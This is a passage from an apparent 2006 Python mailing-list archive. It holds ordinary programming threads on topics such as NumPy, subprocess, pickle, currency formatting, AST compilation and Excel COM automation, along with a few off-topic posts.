retrievethe result?


> On Sunday 22 October 2006 08:06, mxywp wrote:
>> Could someone help me with this or share an example script with me?
>>
>> Here is what I want to accomplish:
>> (1) input 3 values into 3 boxes on a web page
>> (2) there is an authentication code each time you access this page and I
>> have to write this code into the fourth box on the same page (3) click
>> "submit" button
>> (4) this web page will turn into a page with a table having a value
>> calculated from my inputs (5) extract this value into a local file
>> (6) repeat the above for 12000 times.
>>
>> I would really appreciate it if someone can tell me how to do it using
>> python script. I am new to python web programming.
>
> Dark side way:
> http://www.idyll.org/~t/www-tools/twill.html
>
> Christoph
>
> P.S.: One posting is usually sufficient to get a reply.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From istvan.albert at gmail.com  Thu Oct 12 15:26:06 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 12 Oct 2006 12:26:06 -0700
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <1160681166.890803.169610@c28g2000cwb.googlegroups.com>

RickMuller wrote:
> One of my all-time favorite scripts is parseline, which is printed

here is another way to write that:

def parseline(line, format):
     trans  = {'x':lambda x:None,'s':str,'f':float,'d':int,'i':int}
     return [ trans[f](w) for f,w in zip(format, line.split() ) ]

>>> parseline( 'A 1 22 3 6', 'sdxf')
['A', 1, None, 3.0]


I.



From bignose+hates-spam at benfinney.id.au  Tue Oct  3 22:56:31 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 04 Oct 2006 12:56:31 +1000
Subject: PEP 358 and operations on bytes
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>
	<87k63gj41g.fsf@benfinney.id.au>
	<7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar>
	<87ejtoj1r8.fsf@benfinney.id.au> <efv662$97b$1@sea.gmane.org>
Message-ID: <8764f0iyao.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> This would just be bloat

How would it be bloat? I'm describing a situation where the existing
methods merely move, being implemented in a common ancestor rather
than directly in the concrete sequence classes.

> without any use cases being demonstrated. What is your crying need
> for these methods?

I don't think I claimed a crying need for one. Consistency, where not
foolish, is desirable.

I don't deny that there is work involved; my suggestion was in the
context of talking about a common ancestor to 'bytes' and 'str', in
order to refactor some of the common methods.

> Your *real* generalisation of the string method would actually
> require you to write
>
>      ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith(["foo"])

Yes, you're right. I realised that after sending, but didn't correct
it.

> Python didn't get to be the language it is today by adding
> unnecessary hypergeneralisations on a whim. Show me how these
> methods will improve the daily lives of programmers and I'll
> champion them to the developers, but I don't think the world will be
> beating a path to your door.

Again, I'm discussing a still-nascent suggestion for a common sequence
ancestor; there are no demands here. If there is to be generalisation,
I'm merely pointing out that it could be at a higher level and be more
useful.

If nothing else, it would lend more coherence to the "str is a
sequence" confusion if *all* sequences shared some str-derived
methods.

-- 
 \          "I used to be a narrator for bad mimes."  -- Steven Wright |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From robert.kern at gmail.com  Fri Oct 27 01:58:39 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 27 Oct 2006 00:58:39 -0500
Subject: NumPy 1.0 release
In-Reply-To: <ehs6ti$hdl$1@sea.gmane.org>
References: <mailman.1288.1161883418.11739.python-list@python.org>	<1161927501.585705.151830@b28g2000cwb.googlegroups.com>
	<ehs6ti$hdl$1@sea.gmane.org>
Message-ID: <ehs76g$hdl$2@sea.gmane.org>

Robert Kern wrote:
> George Sakkis wrote:

>> By the way, it would be great if numpy's mailing list was mirrored to a
>> google group; sourceforge and gmane are just horrible to use.
> 
> Sorry, I don't think that Google Groups does mirroring like GMane does.

Never mind.

   http://groups.google.com/group/Numpy-discussion

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From skip at pobox.com  Mon Oct 30 13:54:35 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 30 Oct 2006 12:54:35 -0600
Subject: Calling GNU/make from a Python Script
In-Reply-To: <1162232865.989333.119340@h48g2000cwc.googlegroups.com>
References: <45462091@news.bezeqint.net> <ei54ap$te0$1@sea.gmane.org>
	<mailman.1494.1162223799.11739.python-list@python.org>
	<1162232865.989333.119340@h48g2000cwc.googlegroups.com>
Message-ID: <17734.19051.6371.963738@montanaro.dyndns.org>


    >> os.system("make -C %s" % build_dir)

    >> OP specified GNU make, so that works fine, but make sure you're not
    >> going to need to use it with another make before settling on that
    >> alternative.  Frederik's works with more versions of make.

Understood.  That was the only reason I suggested it.

Skip


From steve at holdenweb.com  Fri Oct  6 03:55:45 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 06 Oct 2006 08:55:45 +0100
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <1160100015.211649.310540@m73g2000cwd.googlegroups.com>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
Message-ID: <eg524c$bh7$1@sea.gmane.org>

Ilias Lazaridis wrote:
> Ben Finney wrote:
> 
>>"Ilias Lazaridis" <ilias at lazaridis.com> writes:
>>
>>
>>>I admit it is difficult to detect that this post is in-topic.
>>>But it is.
>>
>>Really, it's not. If you want a voice, you already have your
>>website. Mailing lists and other discussion forums have conventions
>>about "topic" for a good reason.
> 
> 
> of course.
> 
> 
>>>http://case.lazaridis.com/wiki/Host
>>>http://case.lazaridis.com/wiki/License
>>>http://case.lazaridis.com/wiki/Copyright
>>>
>>>I should have posted them immediately.
>>
>>No, you should have found a forum where you know that the topic is
>>appropriate -- even if that restricts it to your own website.
> 
> 
> ??? my website is not a forum (and I'm currently reducing it to the
> minimum necessary information.)
> 
> and once more: this topic _is_ appropriate for a python / ruby / java
> crosspost.
> 
> really very important (if you don't look to much at the subject but the
> message contents).
> 
Well if you can't even be bothered to formulate a subject line that 
makes its signinficance immediately important you can hrdly be surprised 
at our failure to wade through reams of irrelevant drivel.

If you have a dispute, go resolve it. But not here, please.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From vinogri at mcmaster.ca  Fri Oct 27 10:42:18 2006
From: vinogri at mcmaster.ca (Ivan Vinogradov)
Date: Fri, 27 Oct 2006 10:42:18 -0400
Subject: subprocess cwd keyword.
In-Reply-To: <1161930349.386592.191090@h48g2000cwc.googlegroups.com>
References: <mailman.1299.1161902084.11739.python-list@python.org>
	<1161930349.386592.191090@h48g2000cwc.googlegroups.com>
Message-ID: <6D83A2CF-13F7-44A9-8A14-B2A12CD5273E@mcmaster.ca>

On 27-Oct-06, at 2:25 AM, Leo Kislov wrote:

>
> Ivan Vinogradov wrote:
>> ...
>>
>> call("core/main") works but uses .. of core for input/output.
>>
>> call("core/main",cwd="core") and call("main",cwd="core") both  
>> result in
> [snip exception]
>
> Usually current directory is not in the PATH on UNIX. Try
> call("./main",cwd="core")
>
>   -- Leo

Thank you both Leo and Steven.
The solution was indeed calling "main" as "./main" once cwd was changed.

--
Cheers, Ivan.




From mahs at telcopartners.com  Tue Oct 24 14:16:39 2006
From: mahs at telcopartners.com (Michael Spencer)
Date: Tue, 24 Oct 2006 11:16:39 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <1161682522.256752.56630@i42g2000cwa.googlegroups.com>
References: <mailman.813.1161325547.11739.python-list@python.org>	<ehffhc$r05$1@news.albasani.net>	<mailman.997.1161629341.11739.python-list@python.org>	<ehjah5$bfm$1@news.albasani.net>	<453d4890$0$22566$9b622d9e@news.freenet.de>
	<1161682522.256752.56630@i42g2000cwa.googlegroups.com>
Message-ID: <ehll9s$q52$1@sea.gmane.org>

Paul Boddie wrote:
> Martin v. L?wis wrote:
...The compiler package is largely unmaintained and
>> was known to be broken (and perhaps still is).
> 
> I don't agree entirely with the "broken" assessment. Although I'm not
> chasing the latest language constructs, the AST construction part of
> the package seems good enough to me, and apparent bugs like duplicate
> parameters in function signatures are actually documented shortcomings
> of the functionality provided.

The existing package is only lightly tested, so it's hard to say whether it's
broken or not.  The main test from test_compiler says

     def testCompileLibrary(self):
         # A simple but large test.  Compile all the code in the
         # standard library and its test suite.  This doesn't verify
         # that any of the code is correct, merely the compiler is able
         # to generate some kind of code for it.

  I certainly don't like the level of code
> documentation; from the baroque compiler.visitor, for example:
> 
> # XXX should probably rename ASTVisitor to ASTWalker
> # XXX can it be made even more generic?
> 
> However, a cursory scan of the bugs filed against the compiler module,
> trying hard to filter out other compiler-related things, reveals that
> most of the complaints are related to code generation, and the
> compiler2 module appears to be squarely aimed at this domain.

That's right, compiler2 just uses the builtin compile to get the AST, then does
the code generation in Python.  (ASTVisitor has disappeared in the process).

> 
> I find the compiler package useful - at least the bits not related to
> code generation

I think you're saying that you find the AST itself valuable.  I agree, and I've 
promoted that sort of use on this list e.g., 
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/364469

However, 2.5 ASTs are better for this purpose: they are more accurate, faster to 
create, have a more consistent node structure, and are somewhat easier to 
traverse.  I think the only reason to continue using 2.4 ASTs is for backward 
compatibility.  Moreover, the 2.5 trees will be automatically maintained as part 
of the core compile process.  Who knows what will happen to the 2.4 version?

 >... I'd be unhappy to see it dropped.
Sooner or later, I think we should drop the 2.4 AST format - it's confusing to 
have two formats, and produces unnecesary maintenance work.  I think new 
AST-manipulating apps would be better done using the 2.5 AST.

Until now, it hasn't been possible for Python apps to compile 2.5 ASTs to 
bytecode, but compiler2 is working on fixing that.

It would be straightforward to write a new transformer that took 2.5 ASTs and 
turned them into 2.4 ASTs, (and possible, but a bit harder to go the other way, 
I suspect).  But I'd rather just leave compiler alone, and document the changes 
required to use 2.5 trees.  The compiler2 package does this (see 
http://svn.brownspencer.com/pycompiler/branches/new_ast/test/pyast.py ) - and 
the changes required to a 2.4 application are easy.

Regards

Michael



From fredrik at pythonware.com  Wed Oct  4 15:15:19 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 21:15:19 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <17699.55812.728555.796343@montanaro.dyndns.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<45225A1C.8060106@v.loewis.de>	<KGJUg.134415$_J1.895519@twister2.libero.it>	<1159975907.085831.44790@k70g2000cwa.googlegroups.com>
	<17699.55812.728555.796343@montanaro.dyndns.org>
Message-ID: <eg1187$adg$3@sea.gmane.org>

skip at pobox.com wrote:

> No, actually switching trackers can be one big pain in the ass.  You
> probably aren't aware of how hard it's been for the Python development team
> (I think Martin v. Loewis, mostly) to get tracker data out of SF.

http://effbot.org/zone/sandbox-sourceforge.htm

</F>



From gagsl-py at yahoo.com.ar  Mon Oct 23 21:23:45 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 22:23:45 -0300
Subject: How to get each pixel value from a picture file!
In-Reply-To: <1161648139.576054.214070@k70g2000cwa.googlegroups.com>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>
	<mailman.1013.1161637584.11739.python-list@python.org>
	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
	<mailman.1021.1161644257.11739.python-list@python.org>
	<1161645289.453600.107140@h48g2000cwc.googlegroups.com>
	<453d5360$0$13811$4d3efbfe@news.sover.net>
	<1161648139.576054.214070@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061023222017.05c87e30@yahoo.com.ar>

At Monday 23/10/2006 21:02, Lucas wrote:

>http://www.pythonware.com/library/pil/handbook/image.htm
>
>im.load() said....
>
> > > 1)I just copy the tutorial to run "print pix[44,55]". I really dont
> > > know why they wrote that?!

It clearly states that this syntax applies only to version 1.1.6 - 
and I presume you're using 1.1.5.
(And please, don't top post...!)


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From hanumizzle at gmail.com  Tue Oct 10 23:38:13 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 23:38:13 -0400
Subject: Python 2.5 "make install" bug?
In-Reply-To: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com>
References: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com>
Message-ID: <463ff4860610102038m43496c03mf525fd0d3161fedd@mail.gmail.com>

On 10/10/06, Yang Zhang <yaaang at gmail.com> wrote:
> All the site-packages/*.so files get copied to the directory specified
> in my ~/.pydistutils.cfg instead of lib-dynload under the prefix dir,
> then proceeds to chmod 755 all the files in that directory (including
> ones that existed before install). Please advise.

Might this be considered desirable behavior?


From sjdevnull at yahoo.com  Sun Oct 15 11:54:23 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 15 Oct 2006 08:54:23 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160871901.154291.141030@f16g2000cwb.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160867101.267052.113280@h48g2000cwc.googlegroups.com>
	<1160870083.987602.52690@f16g2000cwb.googlegroups.com>
	<1160871901.154291.141030@f16g2000cwb.googlegroups.com>
Message-ID: <1160927663.774054.15420@e3g2000cwe.googlegroups.com>

Alexey Borzenkov wrote:
> bearophileHUGS at lycos.com wrote:
> > but maybe it reduces code readabilty a bit for people
> > that have just started to program:
> >
> > mul2 = def(a, b):
> >     return a * b
> >
> > Instead of:
> >
> > def mul2(a, b):
> >     return a * b
>
> For such simple cases, yes. What about:
>
>   button.click += def(obj):
>     # do stuff
>
> You obviously can't:
>
>   def button.click(obj):
>     # do stuff
>
> :-) And if you make intermediate function and then assign it somewhere,
> it "pollutes namespace": it's still left there, unneeded.

If you're really uptight about it you can
def temp_function(...):
  ....
button.click = temp_function
del(temp_function)

But for something like the example I'd probably just use a local name
wherever the definition is needed; there's no namespace pollution in
any meaningful sense then.



From jjl at pobox.com  Mon Oct  9 18:45:19 2006
From: jjl at pobox.com (John J. Lee)
Date: Mon, 09 Oct 2006 22:45:19 GMT
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<1160266138.599325.270290@e3g2000cwe.googlegroups.com>
Message-ID: <87r6xhhzwg.fsf@pobox.com>

"John Machin" <sjmachin at lexicon.net> writes:
[...]
> This is all a bit OT.  Before we close the thread down

Do you have a warrant for that?

> , let me leave
> you with one warning:
> Beware of enthusiastic maintenance programmers on a mission to clean up
> the dirty names in your database:
> E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed
> to "Dr Karim Bin" (Md is an abbreviation of Muhammad).
> E.g. (2) Billing job barfs on a customer who has no given names and no
> family name. Inspection reveals that he is over-endowed in the title
> department: "Mr Earl King".
[...]

Heh.

I guess the people who really know about that kind of thing are the
"record linkage" people (this one is a project worked on by c.l.py's
own Tim Churches, and has produced some Python code):

http://datamining.anu.edu.au/projects/linkage.html


John


From fredrik at pythonware.com  Wed Oct 18 10:40:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 16:40:10 +0200
Subject: Save/Store whole class (or another object) in a file
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com><slrnej9vdl.t6r.sybrenUSE@schuimige.stuvel.eu>
	<1161182001.167535.87690@i3g2000cwc.googlegroups.com>
Message-ID: <eh5ecb$ihc$1@sea.gmane.org>

alexLIGO at googlemail.com wrote:

> thanks for the reply,but unfortunately this does not work with the type
> of classes I am dealing with. When trying to pickle the class I get the
> following error:
>
>  File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex
>     raise TypeError("a class that defines __slots__ without "
> TypeError: a class that defines __slots__ without defining __getstate__
> cannot be pickled
>
> So there is something missing in this class?

did you remember to read the error message before posting ?

</F> 





From DustanGroups at gmail.com  Fri Oct 20 20:36:47 2006
From: DustanGroups at gmail.com (Dustan)
Date: 20 Oct 2006 17:36:47 -0700
Subject: Inheriting property functions
In-Reply-To: <mailman.877.1161385083.11739.python-list@python.org>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
	<mailman.877.1161385083.11739.python-list@python.org>
Message-ID: <1161391007.556063.112900@m73g2000cwd.googlegroups.com>


Robert Kern wrote:
> Dustan wrote:
> > Looking at this interactive session:
> >
> >>>> class A(object):
> > 	def __init__(self, a):
> > 		self.a = a
> > 	def get_a(self): return self.__a
> > 	def set_a(self, new_a): self.__a = new_a
> > 	a = property(get_a, set_a)
> >
> >
> >>>> class B(A):
> > 	b = property(get_a, set_a)
> >
> >
> > Traceback (most recent call last):
> >   File "<pyshell#11>", line 1, in <module>
> >     class B(A):
> >   File "<pyshell#11>", line 2, in B
> >     b = property(get_a, set_a)
> > NameError: name 'get_a' is not defined
> >>>> class B(A):
> > 	b = a
> >
> >
> > Traceback (most recent call last):
> >   File "<pyshell#13>", line 1, in <module>
> >     class B(A):
> >   File "<pyshell#13>", line 2, in B
> >     b = a
> > NameError: name 'a' is not defined
> >
> > B isn't recognizing its inheritence of A's methods get_a and set_a
> > during creation.
>
> Inheritance really doesn't work that way. The code in the class suite gets
> executed in its own namespace that doesn't know anything about inheritance. The
> inheritance rules operate in attribute access on the class object later.
>
> Try this:
>
>    class B(A):
>      b = property(A.get_a, A.set_a)
>
> or this:
>
>    class B(A):
>      b = A.a
>
> --
> Robert Kern
>
> "I have come to believe that the whole world is an enigma, a harmless enigma
>   that is made terrible by our own mad attempt to interpret it as though it had
>   an underlying truth."
>    -- Umberto Eco

Thanks for your help, and mdsteele's.



From http  Wed Oct  4 07:34:48 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 04:34:48 -0700
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7xhcyk2u1z.fsf@ruckus.brouhaha.com>

Antoon Pardon <apardon at forel.vub.ac.be> writes:
> repeat(object[, times])
>     Make an iterator that returns object over and over again. Runs
>     indefinitely unless the times argument is specified. ...
> 
> My first impression from this, is that it is possible to call
> this as follows:
>   repeat(None, times = 5)
> But that doesn't work either.

The code and/or doc is wrong, you have to use a positional arg
and not a named one.  repeat(None, 5) does the right thing.

> That wont help much if you would like something like the following:
> 
>    def fun(f):
> 
>      arg = Default
>      try:
>        arg = Try_Processing()
>      except Nothing_To_Process:
>        pass
>      f(arg)

Write it like this:

    def fun(f):
      args = ()
      try:
        args = (Try_Processing(),)
      except Nothing_To_Process:
        pass
      f(*args)


From bignose+hates-spam at benfinney.id.au  Tue Oct 10 23:46:17 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 13:46:17 +1000
Subject: Format a number as currency! I can't find any help on this simple
	problem.
References: <loom.20061011T044947-703@post.gmane.org>
Message-ID: <87fydv8qgm.fsf@benfinney.id.au>

Richard Kessler <richard.kessler at matteicos.com> writes:

> I am relatively new to Python.  Love it, but I find things that I
> can do easily in .NET and cannot find a way to do in Python. I need
> to format a number as currency, for example 12343.56 to $12,343.56.
>
> In C# all I need to do is decimal x = 12343.56 then
> x.ToString("$###,###.00");

Rather than implement a custom format, Python provides the 'locale'
module to handle locale-specific things like digit-grouping.

    <URL:http://docs.python.org/lib/module-locale>

-- 
 \          "About four years ago, I was -- no, it was yesterday."  -- |
  `\                                                     Steven Wright |
_o__)                                                                  |
Ben Finney



From tomas at fancy.org  Tue Oct 17 21:34:31 2006
From: tomas at fancy.org (Tom Plunket)
Date: Tue, 17 Oct 2006 18:34:31 -0700
Subject: Adding Worksheets to an Excel Workbook
References: <mailman.331.1160593644.11739.python-list@python.org>
Message-ID: <831bj295rgbh8ajqf4e0guo4kaivhlg8sr@4ax.com>

wesley chun wrote:

> welcome to Python!!  i too, have (recently) been interested in COM
> programming, so much so that i added some material...

> from time import sleep
> import win32com.client as win32
> 
> def excel():
>     xl = win32.gencache.EnsureDispatch('Excel.Application')
>     ss = xl.Workbooks.Add() # add a new spreadsheet/workbook
>     sh = ss.ActiveSheet  # grab the active sheet of the workbook
>     xl.Visible = True        # make Excel show up on the desktop
>     sleep(1)
> 
>     sh.Cells(1,1).Value = 'Python-to-Excel Demo'
>     sleep(1)
>     for i in range(3, 8):
>         sh.Cells(i,1).Value = 'Line %d' % i
>         sleep(1)
>     sh.Cells(i+2,1).Value = "Th-th-th-that's all folks!"
> 
>     sleep(5)
>     ss.Close(False) # close the workbook and don't save
>     xl.Application.Quit() # quit Excel

You've got a lot of sleep calls in there- did you find that things
behaved erratically without them?  I haven't done any Office
automation with Python, but my DevStudio stuff has always worked a
treat without the sleep calls.

-tom!


From sjmachin at lexicon.net  Mon Oct  9 07:13:43 2006
From: sjmachin at lexicon.net (John Machin)
Date: 9 Oct 2006 04:13:43 -0700
Subject: why this is wrong?
References: <mailman.110.1160390467.11739.python-list@python.org>
Message-ID: <1160392423.705319.243140@k70g2000cwa.googlegroups.com>

bruce.who.hk wrote:
> Hi, all
>
> I just donnot know why this is wrong, you can test it in python shell:
>
> class B:
>     def __str__(self):
>         return u'\u5929\u4e0b'
>
> b=B()
> str(b)
> Traceback (most recent call last):
>   File "<input>", line 1, in ?
> UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)

str(b) is trying to convert your unicode string to a str (8-bit)
string. You didn't tell it how to convert it. So it assumed the
default: ascii. The tens of thousands of Chinese characters can't be
encoded in the 128 ascii possibilities. So you got an error message.

You need to encode it with an encoding that (1) accomodates the Chinese
characters that you want to use *and* (2) can be rendered properly on
your screen.

Try these:
b.encode('big5')
# but you may need b.encode('big5hkscs')
b.encode('gb18030')
b.encode('utf_8')

I hope this helps you. 
Regards,
John



From pierre at saiph.com  Tue Oct  3 23:52:04 2006
From: pierre at saiph.com (Pierre Imbaud)
Date: Tue, 03 Oct 2006 23:52:04 -0400
Subject: python html rendering
In-Reply-To: <efuso2$kpp$1@sea.gmane.org>
References: <efum0b$2r2$1@sea.gmane.org>	<d25b6e9a0610031545w33dba90g1abd0ec1fe5a94dd@mail.gmail.com>
	<efuso2$kpp$1@sea.gmane.org>
Message-ID: <efvb55$l38$1@sea.gmane.org>

Colin J. Williams wrote:

> Josh Bloom wrote:
> 
>>Hey Pierre,
>>
>>I'm using this plug-in for wordpress to display Python code. 
>>http://blog.igeek.info/wp-plugins/igsyntax-hiliter/
>>It works pretty well and can display a lot of other languages as well.
>>
>>-Josh
>>
>>
>>On 10/3/06, *Pierre Imbaud* <pierre at saiph.com <mailto:pierre at saiph.com>> 
>>wrote:
>>
>>    Hi, Im looking for a way to display some python code
>>    in html: with correct indentation, possibly syntax hiliting, dealing
>>    correctly with multi-line comment, and... generating valid html code if
>>    the python code itself deals with html (hence manipulates tag
>>    litterals.
>>    Thanks for your help!
>>
>>    --
>>    http://mail.python.org/mailman/listinfo/python-list
>>
>>
> 
> Another approach is to use PyScripter (an editor and IDE). One can 
> generate documentation and then save the generated html doc.
> 
> Also PyDoc can be used directly.
pydoc doesnt html the code, but its documentation. U seem to say 
PyScripter does the same?
I rather thought of some module built on python parser, generating html 
or xml, ideally customizable.
Thanks for your help!
> 
> Colin W.
> 



From onurb at xiludom.gro  Thu Oct  5 13:33:52 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 05 Oct 2006 19:33:52 +0200
Subject: Access to static members from inside a method decorator?
In-Reply-To: <mailman.1360.1160063063.10491.python-list@python.org>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>	<4524c9bb$0$23498$426a74cc@news.free.fr>	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
Message-ID: <45254201$0$2728$426a74cc@news.free.fr>

Maric Michaud wrote:
> Le jeudi 05 octobre 2006 17:18, glen.coates.bigworld at gmail.com a ?crit :
>> I guess my solution is slightly less elegant because
>> it requires this ugly explicit init call outside the classes that it
>> actually deals with, however it is more efficient because the dir()
>> pass happens once on module load, instead of every time I want the list
>> of exposed methods.
> 
> You can always replace the need of the init method on classes using a 
> metaclass.
> 
> This demonstrates it with Bruno's expose decorator, but it can be done with 
> your actual init func too.
> 
> In [6]: class m(type) :
>    ...:     def __init__(self, *a,**kw) :
>    ...:         for name, meth in self.__dict__.items() :

NB : This will only get methods exposeds in this class - not the one
exposeds in the parent classes...

>    ...:             if getattr(meth, '_exposed', False) :
>    ...:                 print 'exposed :', name
>    ...:
>    ...:
> 

(snip)


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From xah at xahlee.org  Sun Oct 29 01:24:25 2006
From: xah at xahlee.org (Xah Lee)
Date: 28 Oct 2006 23:24:25 -0700
Subject: logo design
Message-ID: <1162103065.460796.303660@f16g2000cwb.googlegroups.com>

recently on #emacs irc of freenode, there's a discussion of a logo of
planet emacsen site.

I made some comments about such logo:

http://paste.lisp.org/display/28901

I have brought this topic here here before... that i think LISP really
need to have a logo. I'm aware of ?made with alien technology lisp?
web-badge, but that is a lisp-peddling badge, not a lisp logo proper.

Python, did not really have a logo. I made a plaint more than once in
different periods of times to comp.lang.python. Them tech geeking
morons and assholes, as expected, made irrelevant and incoherent cries.
But look now, Python now has a logo inargurated around 2005, and is a
well-designed one.

For examples (most top quality) logos, see:
http://xahlee.org/UnixResource_dir/lambda_logo.html
(the lambda logo tour)

http://xahlee.org/UnixResource_dir/freebooks.html
(the unix pestilence)

http://xahlee.org/UnixResource_dir/complang.html
(computer language logos)

Again: the primary purpose of this message, is to beseach that the
power-that-be of lispers, seriously think about getting themselves a
official logo. Thanks. 

  Xah
  xah at xahlee.org
? http://xahlee.org/



From robert.kern at gmail.com  Mon Oct  2 21:35:32 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 20:35:32 -0500
Subject: Need help with an array problem.
In-Reply-To: <1159837482.121713.219710@i3g2000cwc.googlegroups.com>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>	<1159828738.510075.153600@i42g2000cwa.googlegroups.com>	<mailman.1126.1159829356.10491.python-list@python.org>
	<1159837482.121713.219710@i3g2000cwc.googlegroups.com>
Message-ID: <efseot$bu$1@sea.gmane.org>

SpreadTooThin wrote:
> Robert Kern wrote:
>> jakobsg at gmail.com wrote:
>>> To your question on casting long to short. This is how:
>>> a=1234L     # long
>>> b=int(a)       # int (short)
>> No, a Python int is a C long. A Python long is an arbitrary-precision number and
>> does not correspond to any C type.
> 
> So there is no short(number) casting?

Not in core Python, no, since C short ints have no Python type directly 
corresponding to them. As John Machin pointed out, if you had tried what you 
proposed, it would have worked just fine.

If you find that you keep needing to deal with the various C integer and 
floating point types (and arrays of such), you might want to consider using numpy.

   http://numpy.scipy.org


In [15]: import numpy

In [16]: a = numpy.array([65537], dtype=numpy.uint32)

In [17]: a
Out[17]: array([65537], dtype='uint32')

In [18]: b = a.astype(numpy.uint16)

In [19]: b
Out[19]: array([1], dtype='uint16')

In [20]: numpy.uint16(a[0])
Out[20]: 1


-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From google at mrabarnett.plus.com  Tue Oct  3 19:58:17 2006
From: google at mrabarnett.plus.com (MRAB)
Date: 3 Oct 2006 16:58:17 -0700
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159889617.610051.100990@b28g2000cwb.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
	<1159889617.610051.100990@b28g2000cwb.googlegroups.com>
Message-ID: <1159919897.485421.305490@m73g2000cwd.googlegroups.com>


Sheldon wrote:
> MRAB wrote:
> > Sheldon wrote:
> > > Hi.
> > >
> > > Does anyone know if one can resume a python script at the error point
> > > after the error is corrected?
> > > I have a large program that take forever if I have to restart from
> > > scratch everytime. The error was the data writing a file so it seemed
> > > such a waste if all the data was lost and must be recalculated again.
> > >
> > You could modify the program while you're debugging it so that instead
> > of, say:
> >
> >     calculate data
> >     write data
> >
> > you have:
> >
> >     if saved data exists:
> >         load data
> >     else:
> >         calculate data
> >         save data
> >     write data
> >
> > The pickle module would be useful here.
> >
> > Matthew
>
> I like your idea Matthew but I don't know how to pickle the many
> variables in one file. Do I need to pickle each and every variable into
> a seperate file?
> var1,var2
> pickle.dump(var1,f)
